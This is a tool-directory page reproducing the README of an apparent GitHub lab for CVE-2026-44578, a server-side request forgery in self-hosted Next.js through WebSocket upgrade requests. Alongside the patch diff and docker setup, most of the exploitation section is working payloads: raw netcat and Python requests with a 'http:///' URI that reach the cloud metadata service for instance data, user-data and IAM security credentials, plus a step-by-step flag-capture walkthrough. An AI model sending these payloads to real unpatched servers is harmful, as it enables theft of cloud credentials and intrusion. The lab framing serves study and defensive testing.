Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44578-next-js-ssrf β€” este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah | Kitploit
Tools/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud SecurityLabs & Practice
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah

View RepositoryWebsite
421 month agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2026-44578 β€” Next.js WebSocket Upgrade SSRF (Lab)

Self-contained lab to reproduce the CVE-2026-44578 vulnerability (CWE-918, SSRF) in self-hosted Next.js applications that use the built-in Node.js server.

FieldValue
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TypeSSRF (CWE-918)
Affected versionsNext.js 13.4.13 – 15.5.15 and 16.0.0 – 16.2.4
Patched versions15.5.16 and 16.2.5
Authenticationnone
User interactionnone

Lab topology

Attacker (host: 0.0.0.0)
    β”‚  HTTP :3000 (public)
    β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  same network namespace  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ nextjs-vuln              β”‚  localhost:80 ──────────► β”‚ imds-sidecar        β”‚
β”‚ Next.js 15.5.0           β”‚                           β”‚ Fake AWS IMDSv1     β”‚
β”‚ "Nimbus Analytics"       β”‚                           β”‚ (credentials,       β”‚
β”‚ (built-in Node server)   β”‚                           β”‚  user-data, index)  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                           β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
  • nextjs-vuln (port 3000): the vulnerable app, exposed on 0.0.0.0:3000.
  • imds-sidecar: mock of the AWS metadata service that lives on localhost:80 inside the Next.js container's namespace, modeling a real cloud instance. It is not reachable from the host directly (no published port).
                        CVE-2026-44578/
                        β”œβ”€β”€ docker-compose.yml
                        β”œβ”€β”€ exploit/
                        β”‚   └── exploit.py          # Automated PoC (5 probes)
                        β”œβ”€β”€ imds-mock/
                        β”‚   β”œβ”€β”€ Dockerfile
                        β”‚   └── server.py           # Fake IMDSv1 + secret routes
                        └── nextjs-app/             # Realistic app "Nimbus Analytics"
                            β”œβ”€β”€ app/
                            β”‚   β”œβ”€β”€ globals.css
                            β”‚   β”œβ”€β”€ layout.js       # navbar/footer
                            β”‚   β”œβ”€β”€ page.js         # landing
                            β”‚   β”œβ”€β”€ api/health/route.js
                            β”‚   β”œβ”€β”€ login/page.js
                            β”‚   β”œβ”€β”€ pricing/page.js
                            β”‚   └── dashboard/page.js
                            β”œβ”€β”€ Dockerfile
                            └── package.json        # [email protected] (vulnerable)

Why it is vulnerable

The WebSocket upgrade handler in router-server.ts calls proxyRequest() when the parsed URI has parsedUrl.protocol, without checking the finished and statusCode flags that the normal HTTP handler always emitted:

  // vulnerable (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // patch (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

The attack path uses a request line with a double-slash absolute URI: GET http:///path. normalizeRepeatedSlashes collapses http:/// to http:/, leaving no hostname, and http-proxy then connects to localhost:80 with the path intact:

GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

The presence of the Connection: Upgrade + Upgrade: websocket headers causes the request to fall into the vulnerable upgrade handler instead of the HTTP handler with the security checks.

Bring up the lab

docker compose up -d --build

Verify that the app responds:

curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

To keep it running on 0.0.0.0, the port mapping in docker-compose.yml already exposes 3000:3000 on all interfaces.

Manual exploitation

1. Using netcat (nc)

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Using pure Python (stdlib, no dependencies)

python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. Using the automated PoC

python3 exploit/exploit.py 127.0.0.1 3000

CTF β€” manual capture of the final flag

Fully manual flow, 100% manual, in 4 phases. There are 4 flags hidden in the internal service (localhost:80); this guide shows the flow up to the first one and leaves you the routes to find the rest.

Phase 1 β€” Reconnaissance

# Server fingerprint
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Open ports via socket (no nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

There is no direct access to 127.0.0.1:80 from the attacker: the only vector is to make the Next.js server (which does live on the same network as the internal service) request on our behalf.

Phase 2 β€” Enumeration of the metadata service via SSRF

First we confirm the SSRF by asking for the metadata service index:

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Index response β†’ candidates: instance-id, hostname, iam/security-credentials/, user-data (first flag). The index of latest/meta-data/ also reveals sub-keys worth exploring further.

Phase 3 β€” Payload construction (byte by byte)

GET http:///latest/user-data HTTP/1.1
PartFunction
GETThe vuln only proxies GET
http:///latest/user-dataAbsolute URI. http:/// collapses to http:/ β†’ hostname null β†’ the proxy connects to localhost:80 keeping the path /latest/user-data
Host: 127.0.0.1:3000Otherwise, the server responds 400
Connection: Upgrade + Upgrade: websocketDivert the request to the vulnerable upgrade handler (the normal HTTP handler does validate)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==Minimum headers required in a legitimate handshake

Termination: \r\n\r\n on the raw socket (no body).

Phase 4 β€” Manual trigger and flag capture

# Option A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# Option B: raw socket in Python (same precision, no nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Output β€” the first flag arrives in the response body from the internal service:

HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
Download Tool